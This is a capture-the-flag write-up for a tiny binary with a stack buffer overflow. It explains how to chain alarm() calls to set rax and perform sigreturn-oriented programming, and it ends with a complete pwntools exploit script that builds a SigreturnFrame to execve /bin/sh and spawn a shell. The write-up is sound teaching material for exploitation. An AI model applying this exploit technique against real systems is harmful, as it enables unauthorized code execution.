#sigrop
# Understanding the Challenge
We were given assembly source. The decompiled is below:
```python
int64_t _start()
void var_108 {Frame offset -108}
timer()
syscall(sys_write {1}, fd: 1, buf: &message, count: 0x3c)
void var_108
return syscall(sys_read {0}, fd: 0, buf: &var_108, count: 0x1000)
```
# The Vuln
We can overflow `var_108` because we can write 0x1000 bytes and would only take 0x108+0x8 bytes to corrupt `rip`
# The Exploit
The binary is really small so not much to work with, however we do have a `syscall` gadget we can use to `sigreturn rop`
We can use abuse the `alarm` syscall to set `rax` to `0xf` in order to call `sigreturn`.
According to man pages:
```
RETURN VALUE
alarm() returns the number of seconds remaining until any previously scheduled alarm was due to be deliv‐
ered, or zero if there was no previously scheduled alarm.
```
If we call `alarm(0xf)` twice back to back without any seconds going by, `rax` will be set to `0xf`
The `sigreturn` syscall sets all registers by popping values off the stack.
We can prepare the stack so when a sigreturn is called, the registers will be populated from the stack with the desired values.
Pwntools makes it easier with `SigreturnFrame`, but its not too hard either to do manually.
# Solve
```python
from pwn import *
context.binary = elf = ELF("./vuln")
io = elf.process()
#gdb.attach(io)
bin_sh = 0x402035
syscall = 0x401044
frame = SigreturnFrame(kernel='amd64')
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b""
payload += b"A"*0x108
payload += p64(elf.symbols['timer'])
payload += p64(elf.symbols['timer'])
payload += p64(syscall)
payload += bytes(frame)
io.sendline(payload)
io.interactive()
```